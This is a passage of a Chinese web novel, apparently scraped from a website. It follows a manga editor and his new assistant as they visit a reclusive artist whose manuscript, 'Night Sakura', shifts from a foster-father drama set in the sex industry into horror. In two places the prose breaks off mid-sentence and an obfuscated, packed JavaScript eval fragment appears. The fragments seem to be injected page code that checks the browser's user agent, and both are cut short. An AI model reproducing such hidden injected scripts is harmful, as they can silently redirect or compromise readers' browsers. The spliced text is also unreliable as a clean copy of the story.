再加上,异能来得快,去得也快,不足以依靠。很多人来不及发现自己的异能,来不及告诉别人,甚至来不及做点什么,就会失去异能。大多数人选择隐瞒,等待异能消失,就像等待青春期结束。 官方行政机构在做出了异能是最不稳定不靠谱的资源这一判断后,似乎就失去了管理它的兴趣,只将防范异能危害纳入了青春期保健课程。 这种公益广告就是举措之一。 异能往往多发于思想不稳定的青少年群体。 和他们这种成年的职业人一般是没什么关系的。 新人赶紧又换了个台,等一阵安全无害的音乐传出后,才放松下来。 其实黑野编辑不在意被别人偷看。 他对自己的外貌有很客观的评估。不论走到何处,他被人偷看都是件很正常的事情。 他曾经因为外貌在工作中沾惹上一些不必要的麻烦。社长得知后问他有没有在这个国家觅偶成婚的意愿,在得到否定的答复后,隔天捎给他一副平光眼镜。 据说那是副受诅咒的眼镜,诅咒内容是让佩戴者找不着对象。大多数人对这种噩运避之不及,可对某些特定人群来说,这眼镜简直是挡桃花的不二利器。 社长是从友人的神社中借出的这件物品,相传过去就有不少僧人和考生曾借用过这副眼镜,十分灵验。 黑野编辑知道什么叫入乡随俗,接受了这份带着迷信色彩的好意。 这副眼镜的诅咒是否生效不好说,仅从修饰容貌的角度上来说,金丝眼镜放大了黑野编辑本人气质中冷冽强硬的那一面。 或许加强得有点过分了。 它不仅能挡桃花,还能吓哭漫画家。某次黑野编辑去假装出门的老师家中,从衣柜里揪出拖稿的漫画家时,对方哇的一声大哭起来。“抱意思我以为是变态杀人魔找上门了。”对方哭得哽咽声音都变了,然后灵感发作现场起稿分镜,一周后交上来稿子。 那份漫画稿中,反派角色狂性大发,拿斧头砸开衣柜恐吓主角,暴露出性格扭曲的一面。可等主角隔日再去确认时,反派恢复了常态,在樱花树下笑得斯文温和,这反差吓得主角退避三舍。 黑野编辑在审稿时,看着那格反派脸上眼镜的闪光若有所思。 不管怎样,能收到稿是好事。他安稳地收起稿件。 后来那期连载获得极高讨论度,反派人设的急遽转变成为经典。 总之,自从带上眼镜后,黑野编辑遭遇的搭讪变少了。但他那外貌惹来的关注没有消失,只是从被搭讪变成了被人偷看。 黑野编辑早就习惯了。 他回想自身上车后与匣子的交流。外人能看到的,大概就只有他在轻微摇头和观察自己虚握的手掌而已。这些行为不算出格,若鹰之助连这都接受不了,是没法应付那些特立独行有怪癖的天才漫画家们的。 于是他放下这件事情,嘱咐新人,“好好开车。” “啊!好的。”年轻人不敢大意地点头,一脚油门下去,车流和树影在车窗外飞驰而过。 黑野编辑很欣赏这种行车效率,只有匣子在啧啧称奇,【这速度就贴着限速,几乎没降下来过。要不是还有公路限速,他怕不是已经起飞了?】 【哈哈,你瞧见没,他超车时和隔壁车辆的距离只有不到两厘米!】 匣子称职地给出提醒,【根据交通统计大数据,这种驾驶风格的安全系数只有32.1%,你不考虑让他降速?】 大数据是大数据。黑野编辑不会拿平均值去套具体的个人,就像他不会用对普通画师的标准去要求天才漫画家。黑野编辑看了眼鹰之助,又闭了闭眼,简单回答匣子,【他有数的。】 不愧是体育生,动态视力真好啊。 因为助手贴着线没有超速,这种遵守规则的作风让黑野编辑对助手的欣赏程度再次上升了。 【他的心跳数据可不像是心里有数。】匣子别有深意地说。 年轻人看起来的确很紧张。 可黑野编辑见过漫画家满脸愁容但手中画笔依旧流畅稳定的模样,他当然分辨得出,鹰之助神色中那份青涩紧张是为着其他的事情。 相较其他肢体语言,年轻人搭在方向盘上的手臂反而是最随意放松的。他在高速行驶中拨动方向盘的手也很稳,没有一丝多余的动作。 车辆在过弯道时没减速,将黑野编辑甩到了座椅一侧。 鹰之助很快反应过来失误,“抱歉,黑野老师您没事吧?我副驾上很少坐人,我下次会留意的。” “没事。”黑野编辑暂且将匣子的事放在一边,注意力转到鹰之助的身上,“不用紧张,你来之前看过东云老师的投稿吗?” “当然!”连轮椅都有准备的助手,对更重要的工作无疑也做足了功课,“《夜樱》真是个好故事啊,我还没留意到已是最后一页就一口气读完了。” 他语气急促地发表感想,“昨天电话联系时听东云老师说已经画好了后续,好期待!冬云老师的分镜功底很强,作画也很细致,这真是新人能拿得出来的作品吗?” 冬云老师是他们正要去拜访的漫画家,其投稿作品《夜樱》入 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单身男人出于种种原因突然成为新手父亲,因为身份角色的转化产生不少笑料,最后没有血缘的父女间逐渐产生亲情羁绊。 《夜樱》的出众之处在于,漫画作者不仅将作为核心的父女温馨互动日常刻画得很好,还侧面描绘了不少现实的苍凉辛酸之处,使得真情格外动人。 “老实说,在读的过程中感觉到有些愤怒。”鹰之助如实答道。 黑野编辑看了眼新人,记录下这条读者反馈,打算待会和东云老师进行具体探讨。 他已经发现了,新人不是他原本预估的沉默寡言性格。话匣子打开后,鹰之助其实是个很善谈的家伙。 鹰之助先前话少完全是因为紧张。 黑野编辑还未掌握到,甚至可能一直都无法主动掌握到的信息是:鹰之助之所以如此紧张,是还未从梦想成真的幸福和恐惧的眩晕中恢复过来——鹰之助是黑野编辑的个人狂热粉。 这位粉丝适应了这么久,在谈话中感觉到黑野编辑的性格似乎没有外界传言中那般冷酷恐怖,终于让自身的天性占了上风,将话题转到了偶像的身上,“我一直很好奇,您的落款署名从来都是黑野编辑,这是您的笔名吗?还是真名的巧合?黑野似乎不是很常见的姓吧?” 没有人会用职业作为名字。黑野编辑回答,“是笔名。” 刚来樱岛时,社长建议他取个笔名,最好像是樱岛姓名,工作中才不会被文化隔阂排除在外。 他看见杂志社的名称是黑野社,就指此为笔名,黑野编辑。 社长看着登记表半天没有说话,最后还是收下了。 黑野编辑并不觉得自己敷衍,他是认真对待工作才选取这个名字。至于其他人对这个名字的态度,黑野编辑就完全不在意了。 他来自神州,在樱岛没有亲属。所有社会关系皆从工作而来,日常用笔名也就够了。 只不过,在杂志社这种地方,喊一声编辑有十几个人回头。 不熟的人喊他黑野老师,亲近的人打听到他的真名后会称呼他,泽。 一来二去,没几个人记得他的真实姓氏是来自神州的姓氏。 熟人大多也都以为他的真实姓名就是黑野泽了。 5. 《夜樱》开篇 话题打开后,佐藤鹰之助提起劲头,大胆地连续发问。 那些问题大多围绕着黑野编辑本人的事迹,匣子听了两句就说,【这是你的迷弟啊。】 黑野编辑没有理会这个判断。 荣誉和粉丝向来都是归属于漫画家的,和编辑没什么关系。 匣子大概是想要鼓吹他继续从业的野心,他不会在这种事情里迷失。 黑野编辑从业不到十年,但正好赶上了樱岛文化繁荣发展的黄金十年。他的业绩有不少是经典案例。新人想要做好编辑工作,好奇内情也很正常。 他只回答新人问题中关于工作方面的内容。 佐藤鹰之助激动坏了。 他对自己搜集到的传闻如数家珍,此刻终于有机会一一查证。 黑野社这么多年来发展迅猛,其社长在接受采访时曾透露有一半的功劳都在这位编辑身上。社长在访谈时提到,黑野编辑在刚入职不久就请动了封笔转行多年的大冢老师重新出山,又慧眼发掘大量新人并将他们带成了名家。黑野社如今举办的新人赏是在全国都有影响力的大赛。 据说那个出了名爱休刊拖稿的鬼才富田老师就是在认识黑野编辑后才闭关将多年未更新的连载漫画一口完结掉的。曾因抑郁症多次自杀的花原老师在获奖感言里指名感谢黑野编辑的救命恩情。作品常年遭遇腰斩的山崎老师,也是在黑野编辑的手中起死回生,走出了职业生涯的低谷。 黑野编辑渐渐都有些惊讶了。 这些事迹在业界内是有些名气,但一般漫画读者更关注漫画家而非编辑,才不会在意这种幕后的事情。鹰之助作为刚入行的人,对这些数得头头是道,未免也了解得太清楚了些。 但他也没有继续多想,只暗自赞叹新人入行前准备工作细致,且擅长调查,值得多加培养。 【……】刚碰了个钉子的匣子则懒得再吭声,躺在黑野编辑的意识里翻了个身。 鹰之助逐渐兴奋,“据说没有您要不到的稿件,没有您看走眼的稿件,是真的吗?听说最有名的那些漫画家们都想要和您合作,只要是您负责的作品,都绝对不会高开低走,更不会烂尾!” 黑野编辑回想起上周那些漫画家们在慰问电话中请自己好好养伤休假的热情声音,以及他们后来的表现,觉得这个传闻可能有些水分。 “据说最爱拖稿的漫画家在您手里都会好好完成作品,最懒惰的漫画家都会保质保量画好每一个分格,”鹰之助还在热情洋溢地打听,“您是有什么特殊的工作方法吗?有漫画家们暗中称呼您为‘魔之黑野’,您不会真的会魔法吧?” 这个外号黑野编辑自己还是头一回次听到。 他有些无语,最后还是摇摇头,“漫画家们自身就具备创作的冲动和需求,编辑能做的其实都是些微不足道的工作。 “我只是帮助漫画家解决画不出漫画的问题而已。” 他看着车窗外,说,“前面靠边停一下。” 鹰之助用一个恰到好处的急刹车贯彻执行了他的指令。 东云老师的住处离市区很遥远。 两人谈话间,皮卡早就下了高速,沿着海边的公路走了很长一段了。 虽说偏僻少人,但沿海公路还是会隔段距离就在道路一侧设置便于游客停车拍照休息的观景台。 鹰之助将车停在路边,黑野编辑将车窗摇下去。带着腥味的海风吹了进来。 今日天气不好,阴云密布。大海像是凝固的蜡,被推上波峰的泡沫如同浮在锅面的白色油花。这样压抑的景色仿佛酝酿着末日的风暴。 黑野编辑记得伊藤老师想要搜集这种风格的景物素材。他从公文包里拿出随身的相机,坐在副驾里就地拍了几张。 回转身时他愣了一下,鹰之助不知何时向他探身靠过来,离他有点太近了。 鹰之助的身材很高大,本人却对这种压迫力毫无自知之明。黑野编辑明明也是正常人体格,却莫名觉得自己有些像是被逼到角落的小型犬。 糟糕的天气里,车厢环境格外幽暗,还浮动着海的腥味。鹰之助没有受到丝毫影响,他的眼睛闪闪发光,神情里混杂着忐忑不安的羞涩和期冀,问,“您能答应我一个请求吗?” 这个场景和表情…… 虽不知道哪位老师用得上这份素材,但黑野编辑下意识将相机举到胸前拍了一张。 鹰之助的请求是让黑野编辑在他珍藏的漫画上签名。 黑野编辑最初还以为他是想要自己帮忙联系漫画家签名,多问了几句才澄清误会。鹰之助那套收藏漫画早已拿到过漫画作者签名,现在想要的是编辑签名。 这种额外让编辑加签的要求很罕见。黑野编辑将其理解为鹰之助对编辑职业的认可和尊重,他随身公文包里就带着签字笔,满足了这个请求。 匣子发出了意味不明的笑声,黑野编辑没有理会。 小插曲过后,两个编辑继续赶路,终于在下午三点抵达了东云老师的住处。 那座小屋孤零零地依靠在靠海的矮崖上,在乌黑的天空下有种摇摇欲坠的凄凉感。鹰之助停好车,想照来时那般将黑野编辑提过去,被黑野编辑正色拒绝了。 碎石的路面不好走,黑野编辑扶着拐杖慢慢前行。鹰之助紧张地陪在身侧,突然想起来有件事要提醒黑野编辑,“说起来,有件很容易误会的事情,冬云老师其实是男性哦。我打电话时才知道的。” 黑野编辑不怪鹰之助预设了漫画家的性别。他的公文包里就放着《夜樱》的复印稿,作者栏写的名字是东云茜,茜字用作女名居多。 这位老师不仅笔名文艺,画风细腻,而且,作品内的某些情节也更像是女性视角。 《夜樱》的主题触碰到了樱岛如今存在的一些恶面。 在樱岛,黑.道和风俗业都是合法产业。 这正是黑野编辑在樱岛呆了这么多年也无法全心喜欢这个国家的原因之一。 《夜樱》中,男主角佐伯雄一直在调查当初将女孩匆匆托付给自己的陌生女人的真实身份,他通过打听、探查逐渐拼凑出关于陌生女人的碎片信息。 这是剧情在前期设置的用来抓住读者的主要悬念。 作为最重要的主线,父女间感情线的升温比调查进展要快得多。 但这条暗线也在同步进展。 当男主角佐伯雄终于查到陌生女人出身红灯区时,他有些退缩了,犹豫着是否要让已培养出几分感情的女孩和那个堕落肮脏的地方再度产生联系。也许中断调查是最好的选择,可他真的能狠心让女孩这辈子都无法再见到自己的亲生母亲吗? 在类似的题材里,这种困境往往是父女感情的孵化剂,会在一段摇摆拉扯的情节后,以父女的相互坦诚、谅解和救赎告终。 而《夜樱》这本漫画,从这里才开始展现非凡之处。 男主角佐伯雄原本只是个平庸的普通上班族。他无法从中做出选择,命运就推给了他答案。 他在深夜再度与那个陌生女人相逢。可他没有质问和请求对方的机会——陌生女人跳楼自杀了,佐伯雄撞上的是她的死亡现场。这位谜一样的不幸女人,整个人生都成了无法解答的悬案。 调查线强行中断了。佐伯雄却回不到平静的温馨日常。 之前调查中的几处伏笔跳了出来。陌生女人想要用死亡摆脱掉的那些麻烦没有消失,缠上了她的孩子,找上了男主角佐伯雄。 过往平庸的男人此时已经无法抛弃依赖自己的养女,他放弃原本的安稳生活,改换身份,带着女儿逃跑了。 在躲避麻烦时,他在一系列阴错阳差下被化妆当成了陪酒女,就此获得了新的职业。 男主角变装成为陪酒女的生涯,是一段幽默搞笑的情节。男性适应化妆品、高跟鞋和紧身衣时的束手无措是一个笑点。佐伯雄的妆容浓烈可笑,只能在灯光最暗的环境里凑数赚钱,若有客人举止过分,只要将灯光调亮就能吓退对方。还有陪酒女姐妹愿意找他做陪衬,靠一同出场来提高自己的出台率。 可在这些调侃的段落里,《夜樱》灰暗的底色逐渐显现出来。 哪怕毫无姿色可言,男主角佐伯雄在这段生活里,也体验到了社会性别为男性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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人在平稳的日常中,会觉得一切事物皆是合理的。 但一旦跌入弱势群体的地位,才会骇然发现社会各个角落中都存在着捕猎女性和边缘人的陷阱,那些欲望交织密布成令人窒息的巨网,随时等待着用诱骗、用胁迫将猎物拖入深渊。 向上很难,而堕落却那么容易,一旦跌落就无法逃出。 前期被逗得开心的读者,看到这里大概会感受到深深的无力和恐惧。 黑野编辑看了眼鹰之助。 而这位助手从中感受到的,是愤怒吗? 鹰之助敏锐地察觉到黑野编辑的视线,“怎么了?”他正在按门铃。 东云老师很快就开门了。这是位拘谨瘦小的男人,穿着樱岛的传统服饰。 握手的时候,黑野编辑察觉到对方绝非初涉漫画行业的新人。没有足够的从业经验或练习,养不出这样的茧子。 黑野编辑还看见,有水从对方的袖口中滴落,似乎是刚刚净手后未擦净,水痕顺着手腕蜿蜒而下。 鹰之助开朗地和东云老师打了招呼,这家伙在接黑野编辑时的沉默寡言果然是一时的假象,现在几乎包揽了所有的自我介绍和寒暄。 东云老师有些承受不来这种热情,低着头将两位编辑请入玄关内。 鹰之助进门后第一时间提醒黑野编辑,要留心地板上沿途的水渍,避免在腿脚不便时滑倒,随后反应过来,那些水印大约是足迹。 他直率地问东云茜,“您刚刚在沐浴?我们来得不是时候吗?” 东云茜没有抬头,佝偻着身体,“刚刚在准备待客的餐食,不小心打翻了水壶。” 鹰之助立刻关切地询问东云老师有没有被烫到。 黑野编辑则左右看了看,他闻到空气中散发着一股水腥味。屋子里到处都是湿漉漉的,像是压抑至极的水族馆。空气粘稠得像是会生出霉菌。 如此阴暗潮湿的环境,可不利于漫画家的身心健康。稿纸保存在这里都是个问题。 【你的这位漫画家,情况有些糟糕啊。】匣子在此时突然发声。 6. 是恐怖漫画 下午时段,常人一般用茶点招待客人。 东云茜端出来的却是清酒和佐酒小菜。 黑野编辑见过许多特立独行的漫画家,这点小事都算不上是怪癖,他泰然自若地坐下。 鹰之助也跟着落座,合掌感谢对方的隆重招待。这个助手实在很擅长这种与他人建立关系的工作,黑野编辑在心里默默给他评分。 大概是住所临近海边的缘故,佐酒菜的食材都来自海洋。 哪怕来樱岛这么多年,黑野编辑也不习惯吃生食。他看见芥末八爪鱼中被切碎的章鱼触手微微勾卷颤动了一下,这大概是神经肌肉残留反应。 太新鲜了。 黑野编辑忽略这些,直接谈起了工作。 黑野社每年举办的新人赏都很有热度。大赛初期,编辑组会从稿件中选出入围作品,在杂志、网站上刊登,到年底时再参考读者投票结果评选出最终奖项。读者投票在其中的作用很关键。 虽说有震撼力的短篇也能给人留下深刻的印象,但年底投票时,长篇连载在人气上会更有优势。 因此,新人赏的投稿,包括《夜樱》在内,大多都直奔着连载而去的。 中长篇作品的连载会比短篇更麻烦。 《黑野周刊》杂志版面有限,杂志社会根据人气反馈,随时调整漫画的用稿时间和刊登载体,一些连载成绩不好,会被转到其他刊物或是电子刊上。 漫画作者的创作也未必一帆风顺。 尤其对这些刚出道的新人来说,他们投稿的作品可能是耗费多年熬出的惊艳开篇,却没有应付连载期的经验。 新人未必能撑得过长期连载对创作者故事储备、体能、心态的各项考验。 按照黑野编辑的经验,会打电话给编辑哭喊着“画不下去了”的漫画家大多都是新人。 老手只会默默地咬牙撑下去,或是熟练地找好休刊理由然后在编辑上门时翻墙逃跑。 总之,由于连载期的各种不确定性,哪怕赛事规则已经对采用标准和稿酬有详细条文解释,双方还是得在漫画正式刊登前签订合同来约定各项事宜。 鹰之助带来了合同的模板,和编辑组会议通过的对《夜樱》开篇的集体审稿意见。 而今天更重要的工作,是与漫画作者聊聊《夜樱》今后的创作内容和方向。 东云茜认真听完鹰之助的介绍,头重得像是将谢的茶花,快要坠到餐盘里去。 他好像有些紧张过度了。 当听到编辑们问起《夜樱》后续时,他才弯着腰站起来,拖着一滩水渍,将已完成的部分稿件从柜子中拿出来给他们。 一般来说,要先交给编辑审阅的应该是分镜,确认过内容后再画下去。 但不知道是对确定连载和内容把控太有信心,还是不顾一切地想要将自己的漫画给画出来,东云茜交出来的后续内容在完成度上几乎算是成稿了。 黑野编辑的视线落在扉页上绘着的那些精美海鲜上。 似乎是因为漫画家长期在海边工作,海水的腥味都渗到了墨水里,从纸页中扑面而来。 那种气味使得画面中的食物更加栩栩如生,却勾不起食欲,只给人以恶感。 “这个场景,是人体盛?”鹰之助看着那扉页,问道。 东云茜微不可见地点了点头。 人体盛,是樱岛这个国家所特有的令黑野编辑感到不适的另一种陋习。 以人体为盛放食物的器具。这是对同类的彻底物化,食客在放纵自身傲慢又畸形的欲望。 在樱岛传统的人体盛中,扮演餐盘的多为赤裸的处女,在训练和净身上有诸多讲究。而在地下风俗业中,那些可笑的风雅都被抛弃了,只剩下最原始的压迫欺凌。为了客人离奇的怪癖需求,从业者男女皆有,出卖尊严以供取乐。 只看扉页内容,就能猜到《夜樱》的男主角,在续篇中大概已沦落到了社会中更为边缘的地带。 扉页所展示的人体盛“器物”不是男主角,而是某位不知名的女性。她没有露出面貌,只有展开的黑色长发和身体袒露在画面之中,直观地展示了这种风俗。 与现实不同,这位女性身着单薄的衣衫——这大概是在迎合黑野社的过审要求。 众所周知,黑野社在审稿时对低俗暴力和色情内容的容忍度很低。那是黑野周刊在创刊之初,为了抵御当初乌烟瘴气、靠色情暴力搏销量的行业风气,想要作出用质量取胜的文化产品而特意立下的严格标准。 放到如今而言,这种标准或许有些矫枉过正了。 虽然漫画作者刻意迎合了这种审稿标准,但增加的衣物没有损害想要表达的氛围。 贴身的濡湿衣物,刻意摹画的动人体态,充满暗示的食物摆盘,男性对女性的欲望在这副场景中体现得淋漓尽致。 当两位编辑的目光停留在扉页时,东云茜的脑袋垂得更低了,大概是担心扉页不能过审。 黑野编辑倒不至于就此误会漫画作者的创作意图。 位于构图中心的是人体盛的场景,可勾起读者更强烈情绪的事物,是画面中从四面八方伸向食物的手。粗陋之手,肥大之手,渗汗之手,被粗笔勾勒,从阴影中探出,握筷戳向了“食物”。 躺在这样场景中的女子会露出怎样的情绪呢? 画框裁去了她脖颈以上的部分。因为对食客来说,那是不重要的。 可若看过《夜樱》的前篇,读者会知道自己该代入哪个角色,该共情哪边的情绪。就算有读者因这样的色情画面感受到本能的刺激愉悦,也会被更多的负罪和恶心感淹没。 这种情色画面,甚至称得上是对部分敏感读者的拷问和惩罚。 黑野编辑翻开纸页,往后看去。 《夜樱》的男主角在失手杀死客人后,顺利地在陪酒女姐妹们的帮助下从夜店逃出来了。他卸下陪酒女的那副夸张妆容,就没人再认得出“她”。 他曾带着养女回到旧时住所,只看到被破坏的家,还有危险的人员在附近徘徊。那个陌生女人生前不仅欠债,或许还惹过不该惹的人,戳破过什么秘密,又或是藏了不该藏的东西。 没有落足之处的男主角带着女儿在龙蛇混杂的红灯区中飘零,终于找到了新的工作,也就是,人体盛俱乐部。 黑野编辑对这部漫画的整体情节结构有了初步的猜想。 男主角大概会在各种困境下辗转于红灯区内的不同特殊职业,每个职业就是一个新篇章,用这些视角来揭发隐藏在樱岛社会背后的丑恶一面。 他看向身侧的鹰之助。助手阅读得很认真,眉头紧缩,拳头下意识地抓紧了。 年轻人在为此愤怒。 剧情后续走向却出乎了黑野编辑的预料。 他猜错了。 男主角在这份工作带来的痛苦中沉溺得过深了。 ——这不是单元剧会安排给主角的压力程度。 漫画毫不吝惜笔墨地刻画了男主角遭受的所有折磨。如同尸体般长久维持姿势的僵硬。生鲜食物的冰冷冻感。被故意淋水覆面的取笑。筷子的戳戳点点。 以及,食客眼中毫不掩饰的恶意和贪欲。 在那样完全失却尊严的屈辱境地中,男主角开始怀疑自己不再是人类。 由于前面种种铺垫,当男主角第一次遭遇精神幻觉时,情节演变似乎水到渠成,也与开篇中酒醉杀人的狂乱状态有前后呼应。 但经验老道的黑野编辑仍对这种故事发展走向怀有微微困惑。 后面的情节并非不够好,而是好得有些异常了。 随着男主角的精神障碍加深,漫画的整体画风都开始改变。 主角眼中的世界出现了重影。人物的轮廓逐渐变形,连漫画框线都变得扭曲。 食客的面貌在动物与人类间交替变幻。男主角听到的台词中夹杂着混乱邪恶的不明字符。 男主角在混乱的幻想与现实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑野编辑预想得到,如果《夜樱》不做突破,按前篇那种形式稳扎稳打地发展下去,温馨又苍凉的故事会打动很多读者,积累起一定数量的忠实粉丝,令读者们逐渐反思樱岛如今社会制度中的不合理之处。 最好的情况下,《夜樱》能够引发一阵对风俗业的声讨浪潮。 但《夜樱》选择了更狂放的做法。 这部作品如今已经不适宜刊登在黑野社旗下的少年漫画周刊上,而应该归类于青年漫画的范畴。作为恐怖漫画,它的受众更小,却会成为这个题材中的神作。 对创作者本人的职业生涯来说,这样大胆的出道作能迅速积累起更高的名气。 创作者在这部作品中展露出来的天赋,也说明他更适合往恐怖漫画的方向发展——他能够成为这个领域的超新星。 但读者记住的,只有恐惧和震撼。 黑野编辑一贯坚持的原则是,作为编辑绝不干涉作品的主题,绝不将自我喜好凌驾于创作者的表达欲之上。 他的职责只是帮助创作者解决画不出优秀漫画的问题而已。 当漫画作品前后内容风格割裂时,他要给出的意见是请漫画家取舍,而不是替漫画家取舍。 他在意的还有另一件事情。 故事中佐伯雄的养女菜菜子,在前期是重要角色,可到了世界发生异变后,她就一直没有出场。这个安排很不自然,是否关联着后续内容的展开? 若菜菜子才是整个故事的中心,那么佐伯雄收养她,到佐伯雄的死亡,以及其母亲的神秘自杀,都只是整个故事开头的引子罢了。 故事的全貌或许不是社会题材故事,也不是无解的恐怖故事,而是某种强世界观的异能战斗故事,或菜菜子个人的历险成长故事。 若是如此,版面安排和宣传方案就又不一样了。 黑野编辑暂且保留意见,先让鹰之助来尝试这项与漫画家讨论作品的工作。 7. 艰难的初次沟通 在黑野编辑的授意下,鹰之助先开了腔,“呃,非常感谢老师让我看到这么优秀的作品,情节紧张,画风震撼,但是——” 一般来说,“但是”后就要进入正题了。不过,刚开始这份工作的鹰之助还有些拿不准提问尺度。 他对刚刚看到的稿件心存很多疑问,倒不是对恐怖漫画这种类型有意见,“与您之前的投稿相比,后续的故事情节实在是出人意料啊。请问,这种情节安排是有什么特殊用意吗?” “……没有。”东云茜说,他的十指紧紧地抠着坐垫,留下潮湿的印记。 三人的目光都停在漫画翻开的最后一页上。男主角佐伯雄的遭遇简直像是一场地狱绘,不过鬼魅皆是海兽而已。 一般人都不会相信,这种画面是随意构思并被决定画出来的。 然而,紧张过度的瘦小男人不再说话。明明能画出这样震撼的画面,却不敢于表达想法。 巨大的沉默横亘于室内。 鹰之助只好试着给出自己的解读,“我记得上一篇故事的结尾,是佐伯雄误杀了客人,陷入精神混乱当中。在这篇故事里,则是佐伯雄本身死于精神混乱后的……” 他停下来,说不好那些怪物到底是主角自己的精神疾病还是真实存在的超自然幻象。难以辨别,没有定论,这正是恐怖故事的魅力所在。 “所以,您安排佐伯雄的遇难,是作为对他杀人行为的责罚?” 鹰之助是同情佐伯雄的。他心里暗暗想着,若说这是报应,会不会有点过了? 东云茜咬住嘴唇,默不吭声。 “这个故事的主题是罪与罚?” 东云茜摇头。 那就是纯粹的恐怖故事了。 鹰之助忍不住失落,“故事就这么结束了?”新人编辑本能地不喜欢这种黑暗向结局,他执着于在任何一篇漫画中追索希望,随后,他终于想起来结局中缺失的要素,“那菜菜子呢?” 他满怀希望地追问道,“她有没有可能成为新的主角?她会不会在长大后成为复仇者,展开新的剧情?” 黑野编辑满意于鹰之助的提问。 一直沉默的东云茜在此时给出了答案,却并非黑野编辑期待的那个答案,“菜菜子不能出场!” 新人漫画家猛然抬头,嘴唇颤抖,“她那么小,怎么能让她,让她面对这样恐怖的世界……” 似乎意识到自己过于激动,漫画家又赶紧低头道歉。 “啊,啊,没事,您说的也是。”鹰之助只好附和着安抚。 所以菜菜子的缺席,并非剧情所需,而是出于作者对这个角色的珍爱和怜悯。创作者不愿意认真刻画女孩在恐怖漫画中的糟糕处境,哪怕这明显能为漫画的恐怖程度增色。 重视角色而让故事失当,也是新人漫画家身上常见的毛病。 黑野编辑并不对此感到意外。 反过来说,东云茜宁愿作出如此不自然的情节安排,让重要人物失去出场机会,让故事整体结构变得奇怪,也非要画完后续的恐怖桥段——漫画家的选择似乎也很明确了。 “这个故事可以刊登。”黑野编辑说。 鹰之助和东云茜的眼神同时一亮。 黑野编辑丝毫不停顿地继续说下去,“不仅如此,如果您有意将其发展为恐怖漫画短篇系列,黑野社的青年刊也可以为你开创一个专栏。” 鹰之助顿时感觉思路打开了。佐伯雄的失败和菜菜子的消隐不代表故事结束呀,恐怖漫画自有一种特殊的单元剧形式,只要故事发生在同一世界观下,主角都是可以不断更替的。 新人编辑隐隐希望,遗憾或许还可以得到填补。 “但若以恐怖漫画题材刊登的话,”黑野编辑冷静地给出意见,“从整体结构上考虑,建议删掉前篇,仅保留后篇的最后十五页,再在此基础上扩充内容。” 这个意见可谓严酷。 鹰之助初听有些惊诧,可细想又觉得,为了作品的完整性和一致性,这种建议理所当然。 可是,回想起漫画前篇的内容如此温馨苍凉,无疑也浸透了漫画家的心血,作为曾被其内容打动过的读者,他觉得换成自己,绝对无法将正确的意见说出口。 他不由关心地去看东云茜。 东云茜面色灰败,好似遭遇了一场大挫折。 作品内容惨遭斧凿的痛苦,似乎完全抹去了作品能够刊登带来的喜悦。 鹰之助大概能感同身受,又觉得自己有必要进行安慰和劝说。 “东云老师,请认真听我说,”新人编辑端正神色,语气诚恳,“作为读者来说,其实我也非常喜欢前篇的内容。养父女的相濡以沫,生活中的悲喜交杂,绝境中的领悟共情,这些情节都让我心灵震颤。不能将那些内容完整呈现给读者,实在是件可惜的事情。但是——” 他对东云茜行礼,随后大声说出请求,“一个故事不能有两个核心。故事前后篇的风格太割裂了。因此,请您务必考虑一下黑野先生的建议。” “我……”东云茜嗫嚅许久,终于答道,“我没法修改。” 他深吸了口气,回礼,同样大声地回答,“我感到万分抱歉!” 黑野编辑看着这两人互相行礼道歉。每到这种时候,他都会觉得自己与樱岛风格还是格格不入。 事情陷入了僵局。 毕竟樱岛人的特色就是,道歉归道歉,但做法总是固执己意、强求他人的。 东云茜好像已经想到了作品可能无法被刊登,低垂着头,更加木木讷讷,沮丧寡欢,好似有万般难受。 这样的场景让鹰之助觉得很为难了。 他试着劝说,可无论他说什么,东云茜都像个挨训时认错态度良好又冥顽不灵的学生,明明对作品的批评照单全收,却又始终不肯表态修改。 他却不惯于做严师的角色。 鹰之助求助地看向黑野编辑。 黑野编辑点点头。 漫画家不愿意修改作品,其实是件常事。 尤其是新人漫画家,在走上职业道路前更加需要与编辑的磨合。 如果东云茜不愿意接受第一种修改意见,那么可以重新判断下漫画家本人的意图。 黑野编辑开口问道,“故事前篇里对风俗业的描写很深入,你当初为何选中这个题材背景?” 小小居室一屋多用,东云茜身后的架子上就放着许多相关参考书籍,可见这个选题并非偶然, “觉得……有共鸣。”东云茜声如蚊讷。 “可以具体说说吗?” 东云茜却又不愿意继续谈论了。 仿佛想要躲在撬不开的蚌壳里。 黑野编辑擅长等待,鹰之助却很怕尴尬和沉默。 新人编辑也开始冥思苦想地回忆前篇内容,试图打开话题,“啊啊,说起来,东云老师对歌舞伎町的描绘很细致呢。明明前后篇画风不一样,而前篇的画风特别贴合故事气质。 “您能驾驭不同风格,画工这么厉害,您过去曾有过漫画创作相关的从业经历吗?” “有。”东云茜仍不肯抬头,可意外多说了一句,“我曾经给人担任过很多年的助手。” 难得东云茜有表达欲望,鹰之助立刻追问,“哪位老师?” 东云茜张了张嘴,却说不出口。 这其中似乎有什么故事。 漫画家和助手的关系有时很复杂,黑野编辑还在谨慎判断好坏。鹰之助已经倒了杯酒,递给东云茜,乐观地说道,“能相处多年,真好啊,感情肯定很深厚吧? “从冬云老师的画就能看出来,那位老师画得一定也很厉害吧?” 黑野觉得鹰之助下结论太快了,但新人的社交直觉天赋好像比他强些。因为东云茜给出了正面的回应。 “是啊,她画得很好……” 东云茜低声说,“如果可能,我愿意一直跟着她画下去。” 两位编辑敏锐注意到了人称代词。 鹰之助摸了摸头,他作为读者时只对少年漫画感兴趣,又是刚进入编辑业界,对其他类型的漫画没有过多涉猎。他看过的女性漫画家的作品不多,画风都很有特色,不是东云茜这一类的。他觉得自己应该没看过那位老师的作品。 